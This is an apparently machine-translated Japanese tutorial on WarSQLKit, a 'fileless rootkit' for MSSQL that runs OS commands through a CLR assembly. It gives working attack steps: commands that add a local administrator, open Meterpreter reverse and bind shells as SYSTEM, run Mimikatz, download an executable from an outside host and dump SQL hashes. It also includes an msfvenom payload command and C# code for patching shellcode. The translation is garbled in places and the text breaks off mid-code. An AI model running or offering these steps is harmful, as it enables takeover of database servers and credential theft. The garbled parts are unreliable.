0x00はじめに
この記事では、長い間解決されてきたMSSQL rootkitである問題に対処します。これまでのところ、MS-SQLについて説明されているほとんどのコマンド実行は、「XP_CMDSHELL」および「SP_OACREATE」ストアドプロシージャと呼ばれてきました。したがって、XP_CMDSHELLおよびSP_OACREATEストアドプロシージャのないMSSQLサーバーに「SASADMIN」権限を備えた「SA」アカウントまたはユーザーアカウントがある場合、システムの浸透を停止しますか?
もちろん、あきらめるべきではありません。この記事では、「XP_CMDSHELL」、「SP_OACREATE」、「SP_OAMETHOD」のSysADMIN許可を使用してアカウントを取得する方法について説明します。
warsqlkit github33https://github.com/epicrouterss/mssql-fileless-lootkit-warsqlkit
このツールは、「システム管理者許可」や「XP_CMDSHELL」、「SP_OACREATE」、「SP_OAMETHOD」などのアクセス許可を持つアカウントをキャプチャするために使用されます。
warsqlkitコマンドの例:
exec sp_cmdexec 'hoami';=任意のWindowsコマンド
exec sp_cmdexec 'whoami /runsystempriv';=nt Authority \ System Rightsを備えたWindowsコマンド
exec sp_cmdexec '' net user eyup p@ssw0rd1 /add ' /runsystempriv';=rottenpotato(kumpir)でユーザーを追加する
exec sp_cmdexec '' net localgroup管理者eyup /add ' /runsystempriv';=rottenpotato(kumpir)を使用してローカルグループにユーザーを追加する
exec sp_cmdexec 'powershell get-childitem /runsystemps';=(Powershell)Rottenpotato(Kumpir)と
exec sp_cmdexec 'sp_meterpreter_reverse_tcp lhost lport getsystem';=X86メータープレターNT Authority \ Systemとの逆の接続
exec sp_cmdexec 'sp_x64_meterpreter_reverse_tcp lhost lport getsystem';=X64メータープレターNT Authority \ Systemとの逆の接続
exec sp_cmdexec 'sp_meterpreter_reverse_rc4 lhost lport getsystem';=x86メータープレター逆接続rc4 with nt authority \ system、rc4password=warsql
exec sp_cmdexec 'sp_meterpreter_bind_tcp lport getsystem';=x86メータープレターは、NT Authority \ Systemとの接続をバインドします
exec sp_cmdexec 'sp_mimikatz';
select * from warsqlkittemp=mimikatz logを取得します。ありがとうベンジャミンデルピー:)
exec sp_cmdexec 'sp_downloadfile http://eyupcelik.com.tr/file.exe c: \ programdata \ file.exe 300';=ファイルをダウンロードします
exec sp_cmdexec 'sp_getsqlhash';=MSSQLハッシュを取得します
exec sp_cmdexec 'sp_getproduct';=Windows製品を取得します
exec sp_cmdexec 'sp_getdatabases';=利用可能なデータベースを取得します
warsqlkit.dll3:3359github.com/epicrouterss/mssql-fileless-rootkit-warsqlkit/raw/master/warsqlkit/bin/debug/warsqlkit.dll
warsqlkit_compressed.dll3:3359github.com/epicrouterss/mssql-fileless-rootkit-warsqlkit/raw/master/warsqlkit/bin/debug/confused/warsqlkit.dll
warsqlkitminimal.dll3:https://github.com/epicrouterss/mssql-fileless-rootkit-warsqlkit/raw/master/warsqlkitminimal/bin/debug/warsqlkitminimal.dll
MeterPreter CSHARP(C#)SHELLCODE:https://GITHUB.COM/EPICROUTERSS/BUILD-METERPRETER-CHARP-SHELLCODE
MeterPreter CSHARP(C#)base64エンコードされたシェルコード:https://github.com/epicrouterss/build-encoded-meterpreter-c-shellcode
oscmdexec_clr:3359github.com/netspi/powerupsql/blob/master/templates/tsql/oscmdexec_clr.sql
0x01 clr
とは何ですかCLR(共通言語ランタイムライブラリ)は、MSSQL Server 2005で実行され、MSSQL Server 2016でも実行できる.NETフレームワークにコマンド実行環境を提供します。つまり、MSSQLを介して.NETフレームワークオブジェクトを処理および実行できます。 MSSQL CLRを使用して任意の.NET DLLをインポートするか、T-SQLを使用してコマンドを実行できます。
CLRに基づく
0x02 CLRベースのDLLとは
DLLファイル。 MSSQLのC#、VB.NETなど。NET言語のいずれかを使用すると、ストアドプロシージャにより、T-SQLステートメントがトリガーなどの.NETフレームワークで実行されます。これにより、MSSQLからストアドプロシージャまたは同様のT-SQLステートメントを送信することで適切に実行できるDLLベースのCLRを作成できます。 MSSQLを介して.NETオブジェクトを実行できれば、OSで実行するコードを実行できると思います。実際、NETの完全な機能を使用して、独自のrootKitを構築できます。それで、私たちはこれをどのように行いますか?
0x03 CLRベースのDLL
を作成します最初に、Visual Studioからプロジェクトを作成します。 「新しいプロジェクト」、「SQL Server」、「SQL Server Database Project」にアクセスします。
プロジェクトを作成した後、右クリックして[新しいプロジェクトSQL CLR C#SQL CLR C#ストアドプロシージャの追加]を選択します。
これらの手順の後、CLRベースのDLLの準備が整いました。これで、コンパイルを開始できます。
0x04 dllコマンドハンドラー
ストアドプロシージャからDLLまでコマンドを処理する方法を作成する必要があります。このパラメーターを作成する理由は、MSSQLを介して転送されるオペレーティングシステムコマンドを実行する必要があるためです。
「cmdexec」と呼ばれる静的メソッドを「cmd」パラメーターで定義しました。この静的メソッドのコマンドは、「runcommand」静的メソッドに転送されます。これにより、プロセスとそのパラメーターを介して入力として送信されたコマンドを実行し、結果を返すことができます。
RunCommandメソッドに送信されたコマンドを使用して、Process()クラスからプロセスを作成し、CMD.EXEを介して実行し、MSSQLを介して出力を返します。
0x05アセンブリ - ストアドプロシージャ - 信頼できる関係
SQL CLR C#ストアドプロシージャを使用して、NET DLLの基本バージョンを作成しました。ただし、DLLのみが適切に機能しません。ストアドプロシージャを作成するには、T-SQLを介してMSSQLにDLLを登録する必要があります。また、MSSQLがCLRベースのDLLを作成および実行することもできます。デフォルトでは、MSSQL Server 2016はCLRベースのDLLファイルを実行せず、無効になっています。次のコードを使用して、この設定を変更します。
sp_configure 'clr enabled'、1
行く
再構成
行く
上記のコードを介して、「CLR有効」パラメーターを有効にします。このプロセスを完了した後、DLLファイルをアセンブリとしてMSSQLに追加できます。
信頼できる関係を確認するため。 MSSQLデータベースのデータベースが安全であるとマークされていることを確認してください。 Secureとマークされたデータベースは、オブジェクト、ネットワーク、およびプロセスリソースにアクセスできます。信頼できることで、次のコードを使用してデータベースを安全であるとマークできます。
データベースマスターセットを変更します。
このプロセスを完了したら、MSSQLにアセンブリとしてDLLファイルを導入する必要があります。これが最も重要な部分です。 MSSQLにアセンブリ(.NET DLL)を定義する3つの異なる方法があります。そのため、3つの異なるメソッドを使用して、作成したDLLファイルをデータベースにロードできます。
a.dllファイルは、バイトストリームとしてMSSQLにロードされます
バイトストリームとして作成されたDLLファイルをMSSQLにロードできます。これを行うには、file.readallbytes()クラスを使用して、別のプロジェクトで作成されたDLLファイルを呼び出す必要があります
別のプロジェクトByTestreamタイプで作成されたDLLファイルを読み取り、ByTestream.txtに出力します。これで、DLLファイルのバイトストリームがあります。このバイトストリームを使用すると、MSSQLにDLLをロードせずにDLLをアセンブリに登録できます。これを行うには、いくつかのSQLステートメントを実行する必要があります。
注:この方法を使用して、MSSQLでDLLファイルを作成せずにDLLファイルをデータストリームとして保存します。これにより、rootkitはファイルなしで完全に実行されます。
アセンブリSP_CMDEXECを作成します
0x4D5A90000000000000000000400000FFF0000B80000000000000000から
Permission_set=unsafe
行く
アセンブリの作成を使用して、「sp_cmdexec」という名前のアセンブリを作成します。次に、fromコマンドを使用して、バイトストリームを選択してファイルに出力します。ここで注意すべき最も重要なことは、テキストファイルに出力されるバイトストリームの先頭に「0xbasında」がないことです。ビデオストリームをテキストファイルに貼り付けると、適切に機能しません。したがって、0倍に書き込んだ後、バイトストリームをテキストファイルに貼り付けます。 permission_set=unsafeパラメーターを使用して、DLLが危険なリソースにアクセスできることを指定します(つまり、SQLおよびT-SQLステートメントのみを実行します)。安全なパラメーターをパラメーターとして設定してCMDコマンドを実行しようとすると、エラー「System.Security.HostProtectionException CAK」がスローされ、CMDコマンドが適切に実行されません。
上記の図に示すように、SAFEはデータベースのみを処理します。 external_accessを使用すると、ファイル、レジストリ、ネットワークにアクセスできます。 Unsafeを使用すると、ネイティブDLL、COM DLLSオブジェクト、その他の安全でないリソースにアクセスできます。
b。 SQL Server Management Studioを使用して、DLLファイルをMSSQLに変換
SQL Server Management Studioで作成されたDLLファイルをMSSQLに登録することもできます。これを行うには、Management Studioを通じてMSSQLを管理しましょう。
データベースで、システムデータベースとプライマリデータベースにアクセスします。次に、[プログラマ性]メニューからアセンブリを右クリックし、[新しいアセンブリ]を選択します。
ブラウジングメニューから作成したDLLファイルを選択して、DLLを登録できます。このプロセスを完了した後、DLLがアセンブリメニューに追加されたことがわかります。
上記のスクリーンショットからわかるように、WarsQlkitという名前のDLLファイルはアセンブリに保存されています。
サーバーの
C.DLLはDLL
を呼び出しますアセンブリSP_CMDEXECの作成
'c: \ programdata \ warsqlkit.dll'から
Permission_set=unsafe
行く
DLLを他の方法でMSSQLサーバーにロードすると、ディレクトリからDLLを呼び出すこともできます。 DLLファイルがロードされたら、サーバーから削除できます。サーバーからDLLを削除したとしても、アセンブリは実行され続けます。
アセンブリにDLLを登録した後、3つのメソッドのいずれかを使用して、DLLで作成されたCMDEXEC静的メソッドを呼び出すか、手順コールを送信できます。これを行うには、最終的にストアドプロシージャが必要です。次のコマンドを使用して、ストアドプロシージャを作成できます。
手順SP_CMDEXECを作成します
@command [nvarchar](4000)
発信者として実行されます
として
外部名warsqlkit.storedprocedures.cmdexec
行く
私たち全員が準備ができたので、コマンドを実行し始めましょう。より詳細なのは、CREATE PROCEDUREコマンド「SP_CMDEXEC」がSP_CMDEXECと呼ばれるストアドプロシージャを作成することです。次に、「xp_cmdshell」の代わりに「sp_cmdexec」を使用します。また、 @Command [nvarchar](4000)を使用してコマンドパラメーターを定義しました。 Nvarcharは最大4000文字をサポートするため、4000文字のコマンドを実行または表示できます。外部名パラメーターで作成されたDLLの名前の名前であるWarsQlkit、StoredProceduresという名前のパブリシャル部分クラス、およびCMDEXECという名前のpublic static voidメソッドを呼び出します。
0x06 Windowsコマンドを実行
execsp_cmdexec'net user '; #Windowsローカルユーザーのリストをリストします。 XP_CMDSHELLやSP_OACRATEなどのストアドプロシージャはもう必要ありません。既知のすべてのWindowsコマンドをオペレーティングシステムに送信できます。
0x07 C#-MSSQL互換メータープレターシェルコード
これまでのところ、私たちがやったことは、基本的なXP_CMDSHELL実行と違いはありません。これで、rootkitセクションに切り替えることができます。上記では、MSSQLで.NETフレームワークを使用できる機能について言及しました。したがって、DLLファイルを少し変更してから、メータープレターのシェルコードを埋め込む必要があります。したがって、SP_CMDEXECストアドプロシージャで定義されたパラメーターを使用して、メータープレターセッションを取得できます。
KALIオペレーティングシステムから端子画面にアクセスして、CSHARP互換のシェルコードを作成します。これを行うには、次のコマンドを使用できます。
MSFVENOM -P Windows/MeterPreter/Reverse_tcp lhost=192.168.139.129 lport=4444 Exitfunc=none -f csharp -Platform Windows
作成したCSHARP互換のシェルコードは、323バイトのコードになります。 MeterPreterコードをコンパイルして実行するには、DLLに新しいクラスを追加する必要があります。 MeterPreterBuilderというクラスを作成しました。このクラスのSavereversemeterPreter()と呼ばれる公開voidメソッドを定義します。この方法では、シェルコードを実行するための要件を定義します。
次に、MeterPreterBuilderクラスでグローバルに次のパラメーターを定義します。
この記事では、実行するシェルコードが準備ができています。 sp_cmdexecを介して直接実行したい場合は、解決する必要がある2つの問題があります。 1。MSSQL(SQLSERVR.EXE)は、このシェルコードを実行することを許可しません。 2。MSFvenomからCSHARPシェルコードを生成し、DLLを更新するたびに、多くのトラブルが発生します。したがって、最初にこれらの問題を解決する必要があります。
シェルコードを実行するには、NETフレームワークの組み込みコンパイラ(Visual Studioなし)を使用してExeフォームでコードを構築し、別のプロセスとして実行する必要があります。毎回MSFvenomとシェルコードを処理できないため、文字列IPおよび文字列ポートパラメーターを定義し、ストアドプロシージャのIP-PORTパラメーターを使用してシェルコードを更新することにより、SaverEverseMeterPreter()メソッドをコンパイルする必要があります。ステップ1については、 '.NETフレームワークを使用(Visual Studioを使用)C言語というタイトルのセクションを読むことができます。ステップ2では、この方法をpublicstaticVoid savereversemeterpreter(String IP、String Port)に更新します。これで、SavereversemeterPreterメソッドは、呼び出されたときにIPとポートを促します。入力IPおよびポート情報に基づいてシェルコードを更新します。これには、次のコードを使用できます。
var ipoctetsplit=ip.split( '。');
byte octbyte1=convert.tobyte(ipoctetsplit [0]);
byte octbyte2=convert.tobyte(ipoctetsplit [1]);
byte octbyte3=convert.tobyte(ipoctetsplit [2]);
byte octbyte4=convert.tobyte(ipoctetsplit [3]);
int inputport=int32.parse(port);
「.」に基づいて送信されたIPをパラメーターとして分割し、IPは4オクテットに割り当てられます。各オクテットのバイトタイプ変数を定義することにより、IPオクテットをconvert.tobyteで文字列としてバイトタイプに変換します。
ポートで実行するプロセスは多少異なります。ポートをINT32に解析します。その理由は、このポートには数字のみが含まれているためです。句読点はありません。さらに、ポートは256を超える数値に対応する場合があります。したがって、ポートが4444として定義されている場合、メータープレーターは256を超えるため、シェルコードに2バイトの値があります。設定するポート番号がわからないため、ポート番号のサイズを調べてセットする数値を決定します。
BYTE PORT1BYTE=0x00; #私は2バイトの0x00を定義しました。
BYTE PORT2BYTE=0x00;
if(入力256)
{
int portoct1=inputport/256;
int portoct2=portoct1 * 256;
int portoct3=inputport -portoct2;
int portoct1calc=portoct1 * 256 + portoct3;
if(inputport==portoct1calc)
{
port1byte=convert.tobyte(portoct1);